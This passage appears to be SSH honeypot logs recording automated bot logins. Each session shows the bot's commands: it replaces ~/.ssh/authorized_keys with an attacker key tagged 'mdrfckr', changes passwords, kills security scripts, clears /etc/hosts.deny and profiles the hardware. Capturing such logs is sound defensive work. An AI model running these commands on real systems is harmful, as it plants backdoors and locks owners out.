found"},{"seq":31,"at":"2026-08-27T12:25:35.354926+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:25:37.433150+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"alex","password":"alex12345","method":"password","accepted":true,"tier":"other"}]} {"id":"a7273483-844f-4f55-8407-0aa02975a1e6","name":"cobalt-mellow-vulture","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":43194,"username":"danny","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:25:10.272603+00:00","ended_at":"2026-08-27T12:25:12.003698+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-27T12:24:51.704892+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:24:51.999099+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:24:56.142372+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:24:56.409179+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:24:56.706502+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\ntAldvmukbHVe\\ntAldvmukbHVe\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:24:57.001080+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\ntAldvmukbHVe\\ntAldvmukbHVe\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:24:57.296340+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:24:58.197285+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:24:58.493569+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:24:59.770153+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:25:00.068028+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:25:00.897744+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:01.196686+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:25:01.964453+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:25:02.261147+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:25:02.750342+00:00","kind":"output","latency_ms":null,"data":" 12:25:02 up 7 days, 9:15, 0 user, load average: 0.13, 0.16, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:25:03.046030+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:25:03.761940+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:25:04.057766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:25:04.577831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:25:04.878615+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:25:05.525960+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:05 up 7 days, 9:15, 0 user, load average: 0.13, 0.16, 0.14\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:25:05.823441+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:25:06.685128+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:25:06.983145+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:25:07.396608+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:25:07.694375+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:25:08.228757+00:00","kind":"output","latency_ms":null,"data":"danny"},{"seq":29,"at":"2026-08-27T12:25:08.524988+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:25:09.976923+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:25:10.273413+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:25:11.916669+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"danny","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"ef05cdd0-65b4-41d6-8783-5d75ac4d7dbb","name":"genial-nautical-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59602,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":443,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:54.173175+00:00","ended_at":"2026-08-27T12:23:55.165052+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:23:31.991116+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:23:32.441154+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:23:37.145521+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:23:37.777204+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:23:38.218838+00:00","kind":"input","latency_ms":null,"data":"echo \"root:71hUKMSMKOU6\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:23:38.661314+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:23:39.102829+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:39.695686+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:40.141126+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:41.530311+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:41.976698+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:43.244478+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:43.686935+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:44.569324+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:45.011802+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:45.376009+00:00","kind":"output","latency_ms":null,"data":" 12:23:45 up 7 days, 9:13, 0 user, load average: 0.17, 0.13, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:45.817550+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:46.433623+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:46.875815+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:47.690446+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:48.133439+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:48.597769+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:48 up 7 days, 9:13, 0 user, load average: 0.17, 0.13, 0.1\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:49.039949+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:49.671455+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:50.128741+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:51.029838+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:51.478498+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:51.861440+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:23:52.299224+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:53.728947+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:54.174235+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:55.027791+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456789m","method":"password","accepted":true,"tier":"other"}]} {"id":"08df2f51-54d1-4c35-ae9f-f6a520b52ca0","name":"valiant-glacial-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":44666,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:42.940114+00:00","ended_at":"2026-08-27T12:23:44.192085+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:23:24.662910+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:23:24.988906+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:23:29.205745+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:23:29.739228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:23:30.069926+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4DzwbH3etOed\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:23:30.392394+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:23:30.720223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:31.182909+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:31.514196+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:32.465018+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:32.799184+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:34.314992+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:34.645812+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:35.391072+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:35.716285+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:36.069358+00:00","kind":"output","latency_ms":null,"data":" 12:23:36 up 7 days, 9:13, 0 user, load average: 0.28, 0.31, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:36.397760+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:36.773074+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:37.101165+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:37.443664+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:37.771330+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:38.347070+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:38 up 7 days, 9:13, 0 user, load average: 0.28, 0.31, 0.22\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:38.678966+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:39.170163+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:39.497968+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:39.847774+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:40.174101+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:40.965855+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:23:41.295445+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:42.612219+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:42.941043+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:44.095001+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe123asd","method":"password","accepted":true,"tier":"other"}]} {"id":"f11e200c-eb70-48ff-a8d6-cccf34ada516","name":"misty-rustic-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":38258,"username":"frappe","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:34.967823+00:00","ended_at":"2026-08-27T12:23:36.194833+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2263,"events":[{"seq":1,"at":"2026-08-27T12:23:16.967598+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:23:17.233714+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:23:20.635706+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:23:21.222084+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:23:21.486078+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd123\\nKECsnlCrVGIK\\nKECsnlCrVGIK\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:23:21.747137+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd123\\nKECsnlCrVGIK\\nKECsnlCrVGIK\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:23:22.007923+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:22.849475+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:23.112842+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:24.374226+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:24.638910+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:26.038379+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:26.303092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:27.166456+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:27.430125+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:27.729719+00:00","kind":"output","latency_ms":null,"data":" 12:23:27 up 7 days, 9:13, 0 user, load average: 0.23, 0.28, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:27.993876+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:28.869707+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:29.131806+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:29.812460+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:30.073313+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:30.728183+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:30 up 7 days, 9:13, 0 user, load average: 0.23, 0.28, 0.24\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:30.991438+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:31.571244+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:31.833353+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:32.606600+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:32.869654+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:33.546954+00:00","kind":"output","latency_ms":null,"data":"frappe"},{"seq":29,"at":"2026-08-27T12:23:33.809645+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:34.703314+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:34.968800+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:36.119650+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"frappe","password":"P@ssw0rd123","method":"password","accepted":true,"tier":"other"}]} {"id":"28a4ee71-6a88-4b33-8da9-041526a4ef56","name":"hazel-cobalt-narwhal","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":33152,"username":"fs","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":730,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:18.917772+00:00","ended_at":"2026-08-27T12:23:20.111497+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2243,"events":[{"seq":1,"at":"2026-08-27T12:22:50.682824+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:22:51.420065+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:22:58.673375+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc 